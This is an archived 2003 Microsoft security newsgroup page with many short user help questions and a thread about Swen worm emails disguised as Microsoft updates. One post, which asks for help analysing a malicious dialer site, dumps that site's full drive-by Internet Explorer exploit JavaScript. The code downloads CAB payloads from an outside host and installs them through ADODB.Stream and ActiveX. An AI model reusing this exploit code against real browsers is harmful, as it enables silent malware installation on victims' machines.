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    - Viewing .jpg - Download Warning Up until yesterday, no problem viewing jpg's or mpg's. After using Photosuite to print some digital pix, when I click on jpg now, I get a warning about downloading files but then can click open. But the checkbox to always allow is grayed out. Suggestions? Tag: Under a rock Tag: 42102
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    - Fake Microsoft Update Email Boy, talk about guts! After posting a question on the Newsgroup for PowerPoint on Monday and posting my email address to boot, I was bombarded with four Emails (and maybe even seven) that all had the "LOOK" of an official Microsoft Email / Website. They all told me that the attachment in the Email was the latest patch / update / fix to whatever (Outlook, Explorer, Windows, etc.). Fortunately, my ISP's virus software caught the W32.Swen.A@mm worm in each attachment sent, before my virus software even had a chance to get it. So, look out everyone - tis the season to wreak havoc among us all. And they are checking the newsgroup postings to find their victims. Dave D Tag: Under a rock Tag: 42100
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    - Turn off WindowsXP firewall? When I open the Control Panel, Internet Connections, right click on the connection and select Properties, nothing happens. Also tried selecting the conection and then in the left pane click on "Change Settings" and still nothing happens. David Tag: Under a rock Tag: 42094
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    - content advisor i forgot my password for content advisor and dont know how to retrieve it. please advise Tag: Under a rock Tag: 42089
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    - When will December's updates be released????? Anybody have any clue as to when MS will release the December patch updates? I know IE has a serious exploit with no patch. I have a room full of servers that are curious. Thanks Ron Tag: Under a rock Tag: 42085
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    - unable to access secure sites Why can't I access them, it was fine a few days ago and now I can't check me email(hotmail) and can't buy anything. Can anyone help???? Tag: Under a rock Tag: 42084
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    - i wanna know my password???????? my e-mail is::::::::: slipknot_20f@hotmail.com ..this is my email where i have serious troubles to sign=20 in.. please my secret question has been changed..so i can=B4t=20 enter to my msn please if you can give me the secret=20 question=B4s answer will be so cool.please there i have=20 many contacts that are very important to me..please if=20 you find out the answer send me it to=20 eminem_21f@hotmail.com this is my other email.please ..i=20 hope you can help me luis felipe medina corac... lima_peru Tag: Under a rock Tag: 42079
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    - N in black box on internet address bar I just recently noticed when I open my home page that a "N" in a black box appears before the http://. Once I go to another site it usually disappears and is replaced by the normal interent explorer"e". Does anyone know what this "N" is and how do I get rid of it? I use Road Runner as an internet provider but they say it has nothing to do with them. Tag: Under a rock Tag: 42076
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    - Virus? Dirk, Thanks for the info......but like I said, I regulary use sybot. Any other ideas? Jim Tag: Under a rock Tag: 42071
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    - Event Log On Security Log, Windows 2000NT Professional, what is event #521. Tag: Under a rock Tag: 42070
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    - help i have forgot my password to outlook exs can anyone tell me what i can do i am on win98. thanks. Tag: Under a rock Tag: 42068
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    - Weird start up probs Hi all, When I boot up my laptop (WinXP Home), all most immediately my dial up connection starts up. I have checked all of the dialup connections & they appear to be ok - oh I have compared these settings to a desktop I use (again WinXP Home). Thats the first problem. Now the second problem in my opinion is possibly tied in with the first. When my laptop has successfully logged on I get a toolbar appear & if I click on HOME it takes me to a site www.active-max.com. I must admit it doesnt really bother me to much however reading your groups this might be quite serious & therefore I would like to take some action. I regular use Sybot search & destroy, I use black ice defender as my firewall & use Nortons anti virus. Also I regulary do my microsoft updates. I have also checked in my add & remove programs to ensure there have not been any dodgy software loaded - there is not. Any advice would be greatly appreciated Thank in advance Jim Tag: Under a rock Tag: 42065
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    - internet call waiting I need to know which security update blocks port 7700. i am told by bell south internet call waiting service that this prevents icw form working properly. Tag: Under a rock Tag: 42064
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    - SUS srv problems We have a few Win XP sp1 clients that are hanging during the "applying software policy" portion of the bootup. We apply the WUAU22.msi package via group policy and also change the windows update properties via group policy, so that clients get updates from our local SUS server. I understand that SP1 installed the windows update service, so shouldn't the machines just go past the wuau22.msi package install since they already have the software? Any help would be appreciated. Tag: Under a rock Tag: 42063
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    - ? different type of format? Data recovery folks say they can recover all data not over written on your hd. Is there a program that will over write all sectors/clusters etc. on a hd so that this is not possible and if so who are they? most thankfull Tag: Under a rock Tag: 42058
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    - data security Data recovery folks say they can recover all data not over written on your hd. Is there a program that will over write all sectors/clusters etc. on a hd so that this is not possible and if so who are they? most thankfull. Tag: Under a rock Tag: 42056
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    - search history on the microsoft internet explorer,immediately below the address bar,is a search bar. Can anyone tell me how to clear the search history from this bar? Thanks I.L. Tag: Under a rock Tag: 42054
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    - How to block specified IP in windows 2000 ? HEllo ! How to block specified IP in windows 2000 ? (f.e. 10.1.1.200 ) Tag: Under a rock Tag: 42053
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    - password on opening I would like to set up a password upon opening my computer. I didn't do this when I first got the computer. Can anyone tell me how to go about doing this? I"m working with windows 98 SE. Thank you in advance for your assistance. Tag: Under a rock Tag: 42037
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    - Xp firewall log Hi, How can i view the log file of the ICS firewall built in XP professional or home edition. I have XP professional and the firewall is turned on and i don't know how to view it's log file. Any reply will be appreciated Thanks Amanda Tag: Under a rock Tag: 42033
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    - outlook express spam i have email coming into my outlook express which i would rather not have, i have sent a message back to the company who sent the message saying that they are spamming me and i have blocked there email but i dont want to just block it because when its blocked it just sent to my email bin, what i want to do is to stop it been received by my email in the first place. is there anyway i can do this or is there a way i can only let people on my address book send me mail and thats all ??? any help you can give would be great as i have small kids who use the computer and i dont want them seening some of the crap that is been sent. Tag: Under a rock Tag: 42029
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    - Identify these IE exploits? Hi everyone, I'm trying to help some people who have been the victims of a pretty suspicious porn website that installs dialler programs and stuff on their visitors' computers. The problem is, I know zero about javascript, and am fairly clueless when it comes to IE exploits too, which they seem to use pretty heavily in this case. I think I have the general idea about what happens when people open these webpages (CAB-files get downloaded and executed/installed) but it would be really great if anyone could help me identify in more detail what the javascript code does and what exploits are being used. I'll include three files below. Thanks in advance for any help I can get. Regards, /Ragnar (you can mail user "ragnar" at the domain gatorhole dot se) *** Dump of the HTL file that gets loaded first *** HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 X-Powered-By: ASP.NET Connection: close Date: Fri, 12 Dec 2003 22:10:06 GMT Content-Type: text/html Accept-Ranges: bytes Last-Modified: Wed, 29 Oct 2003 13:15:26 GMT ETag: "bc1ea0b71e9ec31:a64" Content-Length: 1130 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <script> function SetCookie (name,value,expires,path,domain) { document.cookie = name + "=" + escape (value) + ((expires) ? "; expires=" + expires.toGMTString() : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") ; } var expdate = new Date (); expdate.setTime (expdate.getTime() + 60 * 60 * 1000); SetCookie("infoexec1.0_filename", "^smsdial752.exe^dating762.exe^connecting19.exe^", expdate, "/"); </script> <head> <title>Connecting</title> </head> <body bgcolor="#FFFF00" text="#000000"> <table width="300" border="0" align="center" bordercolor="#000000"> <tr> <td> <div align="center"><font size="4"><b>Ansluter till HÅRDPORR......</b></font></div> </td> </tr> </table> <div align="center"><br> <br> <a href="connecting19.htm"><font face="Arial, Helvetica, sans-serif" size="4"><b>SLÄPP IN MIG</b></font></a><br> <br> <br> <br> <br> <br> <br> <bR> <script src=i.js></script> </div> </body> </html> *** Dump of the javascript i.js *** HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 X-Powered-By: ASP.NET Connection: close Date: Fri, 12 Dec 2003 22:13:51 GMT Content-Type: application/x-javascript Accept-Ranges: bytes Last-Modified: Mon, 08 Dec 2003 17:23:47 GMT ETag: "6e6b1bab0bdc31:a64" Content-Length: 2828 cabfile="http://www.sexfiles.nu/newdial/info_sex2.cab"; document.write('<div style="position: absolute; visibility: hidden;"><iframe id=if1></iframe></div>') ; isopen=false; openinsearch=false; usecache=false; function generic() { document.write("<OBJECT CLASSID=clsid:bd11a280-2e73-11cf-b6cf-00aa00a74dae "+ "CODEBASE=http://www.sexfiles.nu/newdial/Info_sex.cab ID=i></OBJECT>"); } function dl_o_inca(){ try{ var f2=new ActiveXObject("Microsoft.XMLHTTP");f2.Open("GET","/scripts/o_inca.htm", false); f2 .Send(); } catch(ex) {} } function s1(){ try{ x=GetObject("C:/WINDOWS/Tempor~1/Content.IE5/INDEX.DAT","htmlfile"); dl_o_inca(); var f0=new ActiveXObject("Microsoft.XMLHTTP");f0.Open("GET",cabfile, false); f0.Send(); setTimeout("s2();",200); } catch(ex){ openinsearch=true; } try{ var s=new ActiveXObject("ADODB.Stream"); } catch(ex){ usecache=true; } if (openinsearch){ __bb=open("http:///","_search"); isopen=true; if (usecache){ setTimeout("__so3()", 500); } else { setTimeout("__so2()", 500); } onunload=closes; setTimeout("closes()", 5000); } } function __so2() { try{ open('file:javascript:eval(\'s=new ActiveXObject(\"ADODB.Stream\");s.Mode=3;s.Type=1;try{s.Open() ;x=new ActiveXObject(\"Microsoft.XMLHTTP\");x.Open(\"GET\",\"'+cabfile.replace(/[/]/g,"%2f")+'\",0);x .Send();s.Write(x.responseBody);s.SaveToFile(\"C:%2fInfo_sex2.cab\",2);s.close();}catch(ex){};try{s.o pen();x.Open(\"GET\",\"http:%2f%2fwww.sexfiles.nu%2fnewdial%2fI-iframe.HTM\",0);x.Send();s.Write(x.re sponseBody);s.SaveToFile(\"C:%2fI.HTM\",2);s.close();}catch(ex){};;document.location=\"C:%2fI.HTM\"\' )',"_search"); } catch(ex) { closes(); generic(); } } function __so3() { try{ dl_o_inca(); var f0=new ActiveXObject("Microsoft.XMLHTTP");f0.Open("GET",cabfile, false); f0.Send(); open('file:javascript:var z_;var a="";var ab="%2fo_inca[1].htm%3f";var xxy=GetObject("C:%2fWINDOW S%2fTempor~1%2fContent.IE5%2fINDEX.DAT","htmlfile");var x=setTimeout("var aa=xxy.body.innerText.subst r(30,80).match(%2f[A-Z0-9]{8}%2fg);for(i=0;i<4;i++){ab+=\\"~\\"+aa[i]};for(i=0;i<4;i++){a+=\\"<iframe src=C:%2fWINDOWS%2fTempor~1%2fContent.IE5%2f\\"+aa[i]+ab+\\"><%2fiframe>\\"};document.write(a)",1000 );var z__;',"_search"); } catch(ex) { closes(); generic(); } } function closes(){ if (isopen==true) { isopen=false; try{__bb.close()}catch(ex){} } } function s2(){ try{ aa=x.body.innerText.substr(30,80).match(/[A-Z0-9]{8}/g); a="";for (i=0;i<4;i++) a+="<iframe src=C:/WINDOWS/Tempor~1/Content.IE5/"+aa[i]+"/o_inca[1].htm?"+aa[0]+"~"+aa[1]+"~"+a a[2]+"~"+aa[3]+"></iframe>"; if1.document.write(a); } catch(ex) { setTimeout("s2();",200); } } onload=s1; onerror=generic; *** Dump of the o_inca.htm file *** HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 X-Powered-By: ASP.NET Connection: close Date: Fri, 12 Dec 2003 22:20:42 GMT Content-Type: text/html Accept-Ranges: bytes Last-Modified: Wed, 03 Dec 2003 16:08:56 GMT ETag: "fa63e1c0b7b9c31:a64" Content-Length: 252 <script> a=document.location.href.substring(document.location.href.length-35).split('~'); for (i in a) document.write('<OBJECT CLASSID=clsid:11111111-1111-1111-1111-11111111111'+i+' CODEBASE="../'+a[i]+ '/info_sex2[1].cab"></OBJECT>'); </script> Tag: Under a rock Tag: 42028
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    - Command Prompt of Firewall Folks: Is there a way to programatically (via DOS) switch on/off the Firewall built into Windows XP ? I have a copy of McAfee Firewall - Personal Edition - installed on my home PC. I just wondering if this program allows itself to be controlled (turned on/off & configured) programmatically ? If so, how can I programmatically (using DOS) turn on/off my Mcafee Firewall and do some other basic configurations from the DOS PROMPT or from a batch file. Thanks, John. Tag: Under a rock Tag: 42021
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    - Virus? Started having strange sound bytes like whistles,voices,snippets of songs, ran a virus scan and had several files infected with sbworm,but they were cleaned or deleted. The sounds remain- don't know if they were connected but I'm manually scanning file and haven't found anything yet. Anyone heard of a virus that leaves behind annoying sound bytes constantly. Its preventing from using the video editing features because of the sounds ending up on the audio tracks. Also, in case someone is not aware if you receive an e-mail from Insta-kiss(or something similar) don't open , an employee's online identiy info including passwords were lifted , and I recently received an email from that sender but deleted it. Tag: Under a rock Tag: 42019
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    - What is "CCEVTMGR.EXE" I turned on my wife's computer today and a Sygate window opened saying Event Manager Service (ccebtmgr.exe) is being contacted from a remote machine crl.verisign.com do you want to allow this program access to the network. Not ever having seen this before I said no. Does anyone know what this is? Thanks, Mac (The computer runs Win98se and I have Sygate Personal Firewall on). Tag: Under a rock Tag: 42015
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    - ** READ THIS BEFORE POSTING - answers to frequently asked questions 2003.12.16 Before you post a question to a Microsoft.public.*.security newsgroup, note that your question may already be answered below: Answers to Top Frequently Asked Questions: http://securityadmin.info My question is not mentioned below. How do I get an answer immediately, with no waiting? http://securityadmin.info/faq.htm#moreinfo See also: http://www.google.com/groups?as_ugroup=microsoft.public.* See also: http://www.google.com/advanced_group_search See also: http://www.google.com I want to post a problem or question to the newsgroup. What info do I need to post in order to get a correct answer quickly? http://securityadmin.info/faq.htm#netiquette I just heard about a new Microsoft security patch update. Where can I get the patch? http://windowsupdate.microsoft.com OR http://www.microsoft.com/technet/security/current.asp I just installed a Microsoft security patch update, and now my computer is having problems. http://securityadmin.info/faq.htm#patchbroke I received an email from Microsoft / Microsoft Support / Microsoft Internet Security Center claiming to be a security patch [or comprehensive Internet Explorer update]. Is this a virus? http://securityadmin.info/faq.htm#microsoftemail ALSO NOTE: www.grisoft.com is free antivirus, USE IT. I received a virus email from a Microsoft email address. Who do I report this to? http://securityadmin.info/faq.htm#microsoftemail I have the RPC Blaster worm "virus," what do I do? http://www.microsoft.com/security/incident/blast.asp ALSO NOTE: www.grisoft.com is free antivirus, USE IT. My computer is giving RPC Remote Procedure Call messages. There is a TFTP message or file on my computer. My computer keeps locking up, and/or rebooting, or telling me that it will reboot in 1 minute. http://www.microsoft.com/security/incident/blast.asp ALSO NOTE: www.grisoft.com is free antivirus, USE IT. Where can I download the Blaster worm / RPC DCOM patch? http://windowsupdate.microsoft.com OR http://www.microsoft.com/technet/security/current.asp I'm having a problem caused by the JDBGMGR.EXE Teddy Bear "virus" hoax, or I want to replace this file. http://securityadmin.info/faq.htm#jdbgmgr I forgot my Windows logon password and can't log in. How do I reset it? http://securityadmin.info/faq.htm#password I have a problem or a question with a virus or with antivirus. http://securityadmin.info/faq.htm#virus NOTE: www.grisoft.com is free antivirus, USE IT. Why is Outlook Express blocking my attachments as "unsafe"? http://securityadmin.info/faq.htm#attachments How do I stop getting pop-up messages? Or adware? Or spyware? http://securityadmin.info/faq.htm#pop-ups How do I block people from viewing adult or objectionable content on a computer? http://securityadmin.info/faq.htm#contentfilter How do I block spam emails? http://securityadmin.info/faq.htm#spam There is a Content Advisor password blocking me from certain web sites. http://securityadmin.info/faq.htm#contentadvisor How do I delete an FTP folder that a hacker put on my computer and I cannot delete? http://securityadmin.info/faq.htm#ftpfolder Have I been hacked? What do I do if I've been hacked? http://securityadmin.info/faq.htm#hacked How do I re-secure a computer that has been hacked? http://securityadmin.info/faq.htm#re-secure How do I test or improve the security on my computer to avoid being hacked? http://securityadmin.info/faq.htm#harden How do I investigate a suspicious IP address that may be trying to hack me? http://securityadmin.info/faq.htm#trace How do I report a hacker? http://securityadmin.info/faq.htm#reporthacker How do I use a port scanner or vulnerability scanner to test my security? http://securityadmin.info/faq.htm#portscanner How do I encrypt my files and/or hard drive? http://securityadmin.info/faq.htm#encryption How do I get a firewall? IDS? http://securityadmin.info/faq.htm#firewall I want to use the IPSec filtering or IP filtering feature of Windows to block certain ports and have a problem or question. http://securityadmin.info/faq.htm#ipsec I have a problem or question with the XP ICF firewall. http://securityadmin.info/faq.htm#icf I have a problem or question with the IIS URLScan tool. http://securityadmin.info/faq.htm#urlscan How do I change the banner on my computer or server to hide what software version I'm using? http://securityadmin.info/faq.htm#banner How do I enable Windows Auditing to tell who logged into Windows or who accessed a file? http://securityadmin.info/faq.htm#auditing How do I inspect and disable programs that start up when Windows starts? http://securityadmin.info/faq.htm#startup How do I use RUNAS or let someone use RUNAS to run commands as administrator without having to type the password? http://securityadmin.info/faq.htm#runas How do I let non-administrator users run Defrag or change their IP address? http://securityadmin.info/faq.htm#runas My question is not mentioned above. How do I get an answer immediately, with no waiting? http://securityadmin.info/faq.htm#moreinfo See also: http://www.google.com/groups?as_ugroup=microsoft.public.* See also: http://www.google.com/advanced_group_search See also: http://www.google.com I want to post a problem or question to the newsgroup. What info do I need to post in order to get a correct answer quickly? http://securityadmin.info/faq.htm#netiquette Note that this is NOT a full list of all the questions answered in the FAQ. Chances are, your question has probably already been answered. The complete FAQ is at: http://securityadmin.info/faq.htm#contents I hope this is helpful. Feedback, suggestions and criticism regarding the FAQ are welcome and may be emailed to me. kind regards, Karl Levinson, CISSP, MCSE, MVP email: levinson_k@despammed.com Tag: Under a rock Tag: 42010
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    - password identification When i set up my mn700 i dont recall assinging it a password, now i am updating and its asking for a password for the base station, Is there a work around or a way to identify the password? Thanks Tag: Under a rock Tag: 42006
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    - Strange Application popup I have the following Application Pop Up in an event log on one of our computers: Event ID: 26 "Application popup: Government Computer : Your ISP will be notified" Is this something that has popped up on the computer in question or is it something that has popped up on a computer trying to log on to the computer? What could trigger an event like that? Tag: Under a rock Tag: 42002
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    - Email Security If public access is necessary for your computer, is there a way to block just anyone from opening your email? I know you can require a password, however, if you hit cancel, the email opens up anyway. This is becoming a real problem, any help would be greatly appreciated. Tag: Under a rock Tag: 41995
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    - X-Box.com/retail security I tried logging into my X-Box retailer training and it ask for a user name and password and I don't know it. I didn't need it yesterday for the same thing. Could someone @ Microsoft tell me how to find out my username and password? Tag: Under a rock Tag: 41994
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    - Per Seat Licences Hi, I've got a web application that runs on an intranet, ASP pages as the user interface, VB6 business layer and an SQL Server database. Is there anyway that I can restrict the number users who can use the site at any one time? Users are not connecting anonymously, if that helps. Thanks for any help. Iain Tag: Under a rock Tag: 41992
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    - CONECTAR CON DIALER DE PRU... KEEP GETTING THIS APPEARING ON DESKTOP, SAYS FROM MICROSOFT, TARGET SEEMS TO BE, RUN DLL32. RUN DLL AS APP. ANY IDEAS? Tag: Under a rock Tag: 41979
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    - Outlook Express acting weird after removing spyware Ever since I searched and destroyed spyware and parasites, (spybot, ad-aware, HijackThis)Every time I load my find more of the leaches in my history and cookies. I am following the advice, thank you very much, and went through step-by-step "Dealing With Unwanted Spyware and Parasites". I tried to download a freeware firewall, however, this particular site confirms through Email. The problem is, when I try to connect to the site or any site via Email, I get a blank browser, absolutely blank, even the address box. How can I fix this? Tag: Under a rock Tag: 41975
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    - THE BEST KEPT SECRETS OF THE COMPUTER UNDERGROUND Remember, you heard this from me first. Installing a backdoor for future and continued access to your computer system is simple once a computer system is compromised. Here are the "Malicious Hackers Best Kept Secrets"! They install a Trojan Horse which disables your anti-virus and firewall protection; also, they install a second set of their own hidden firewall application(s) to protect their Virtual Private Network(s). The point that I am trying to make is this, you can check your system for a Backdoor, Trojan Horse, Virus, or Worm until your blue in the face, you wouldn?t find any. The hackers own firewall application(s) can be installed on your hard drive in a hidden folder and the only way you would know it?s there is by going to your Control Panel, Folder Options, View, Show All Files and Folders (Windows ME and earlier). Windows keeps files and folders hidden by default so you don?t make changes to their important files. You need to View all Files and Folders on your computer to reveal what malicious hackers have installed without your knowledge. This will open your eyes and show you all the files and software applications now sitting on your hard drive. If you want to learn more about computer security, if you?re a beginner, one avenue is to read-up on configuring your mail and browsing applications. Google and Yahoo also have Newsgroups and message boards pertaining to the aforementioned. If utilizing a Windows platform, do some reading on configuring your Windows Internet Options both Internet and Local Settings. Also, spend time learning what applications in Windows are running and on what port they run on. What to learn about Computers, the Internet and Hacking, visit: geocities.com/hacking_internet_secrets. Tracker Tag: Under a rock Tag: 41974
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    - net Same as many others. Cannot get into things because of net passport.want to remove it and did so yesterday, but to-day it seems I still have an account when I try to log onto some sites? Will not accept my old password that I deleted and will not let me change it as it won't even accept I'm a UK resident. Any help please. Microsoft support is useless and one can waste hours, and I can't even post a question without a passport. How on earth does one get rid of this. Many Thanks Steve Tag: Under a rock Tag: 41973
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    - Giving computer away Hello, I am planing on upgrading my winXP computer soon, and I would like to donate it. Is their anything I can do short of a reformat and reinstall to scrub the computer of personal data? I would prefer to aviod the hassel of a reinstall if at all possible. Thanks for the advice. Tag: Under a rock Tag: 41968
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    - someone gave my e-mail adress away & i know who!!!! I have a co. that i was trying to do busness with ant thave not done ther part of the contrack. they keep saying the it will work but it will not. they clame that it will and even when they are on line trying to trouble shot it will not work. this person has given my e-mail adress to the pron web site. i hav as of to day receved over 5000 porn e-mail my granddarter which helps me with the buisness i can not let her retreave me e-mail anymore. i can not change my e-email adress for it will cost me 1000s for new letter head, cards, and adress accounts but if this keeps up i may have to. the last time i talked to the they put my e-mail adress on a spam list so know i can not even get in to talk to them. help paul cdp1997@netins.net put in subject line help - help - help other wise I don't know if it is pron or npt Tag: Under a rock Tag: 41966
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    - WHATS RELATED - how do i turn off? How do I get the stupid whats related stuff out of my computer? I ran adaware and other spyware killers yet I still get links on my webpages that aren't really links. These are being processed and added at my end - they are NOT actually on the webpage. I don't have anything under my TOOLS menu for Whats Related and I've killed the ALEXA registry entry... ITS STILL HAPPENING! Tag: Under a rock Tag: 41962
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    - Cannot Open Attachments Today I updated my Outlook Express to version 6 and now I cannot open any attachments, even the ones I previously opened before the upgrade. Is there an option In OE that will allow me to be to open attachments if I choose to open them? Tag: Under a rock Tag: 41961
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    - email password My email account is being broken into by another user and i can't figure out how this is done.This person does not have my email account password ,nor did i write it down anywhere.This person is able to log onto the web and by using certain info or get your server to give them access to my account. I would like to know how i can prevent them form breaking into my account using whatever means they are using. Please advise me as to how i should go about doing this v/r eudes james Tag: Under a rock Tag: 41957
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    - tracking use of shared drive A co-worker and I came across a confidential file on our shared drive. Can the IT people tell who accessed this file? Don't ask why, but I copied it to my desktop before I opened it (OK, I thought this would be less traceable). I have deleted it from my desktop. What kind of information can they garner concerning access of shared files? Thanks Tag: Under a rock Tag: 41956
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    - Malicious Script - Outlook Express I have downloaded the latest service pack for Outlook Express 6 and still get the message from Norton Antivirus: Malicious Script Object: Windows Scripting Host Shell Object Activity: RegWrite File: Unknown Sometime the message gives the activity as 'Run'. I'm running Windows 98 with the latest security patches. Help please ? Tag: Under a rock Tag: 41954
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    - IE6 after removing a trojan virus i cannot access the search function from the start menu, neither can i open a page in a new window. Have followed the site instructions but no joy. Also my home page keeps being changed to Search-space. Any ideas? Tag: Under a rock Tag: 41950
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Thanks for you "witty" reply....

NO... I haven't been under a rock... I KNOW this is OLD
news. I wanted to advise everyone that it is STILL going
on in increasing numbers.

Have a nice day :-)

Re: Under a rock by Bill

Bill
Wed Dec 17 21:53:55 CST 2003

Don't bother defending yourself--we all know the Internet has some folks who
don't believe that simple courtesy is necessary to human
interaction--perhaps they think they are talking to machines?

Thanks for taking the time to help others.

"Dave Dawson" <ddawson@satx.rr.com> wrote in message
news:046801c3c50d$7c94a930$a601280a@phx.gbl...
> Thanks for you "witty" reply....
>
> NO... I haven't been under a rock... I KNOW this is OLD
> news. I wanted to advise everyone that it is STILL going
> on in increasing numbers.
>
> Have a nice day :-)

Re: Under a rock by David

David
Thu Dec 18 08:15:10 CST 2003

"Dave Dawson" <ddawson@satx.rr.com> wrote in message
news:046801c3c50d$7c94a930$a601280a@phx.gbl...
> Thanks for you "witty" reply....
>
> NO... I haven't been under a rock... I KNOW this is OLD
> news. I wanted to advise everyone that it is STILL going
> on in increasing numbers.
>
> Have a nice day :-)

actually i think the numbers have been decreasing. of course once everyone
turns on their brand new christmas computers there will probably be another
big outbreak.

Re: Under a rock by Bill

Bill
Fri Dec 19 10:09:19 CST 2003

This may persist as blaster has--connect a fresh XP install to the Internet
without enabling the firewall and see how fast you are infected--seconds, I
believe.

There will probably always be a Swen-infected machine gathering addresses
from some newsserver somewhere!

"David Robbins" <noone@nowhere.com> wrote in message
news:u16MeFXxDHA.2448@TK2MSFTNGP12.phx.gbl...
>
> "Dave Dawson" <ddawson@satx.rr.com> wrote in message
> news:046801c3c50d$7c94a930$a601280a@phx.gbl...
> > Thanks for you "witty" reply....
> >
> > NO... I haven't been under a rock... I KNOW this is OLD
> > news. I wanted to advise everyone that it is STILL going
> > on in increasing numbers.
> >
> > Have a nice day :-)
>
> actually i think the numbers have been decreasing. of course once
everyone
> turns on their brand new christmas computers there will probably be
another
> big outbreak.
>
>
>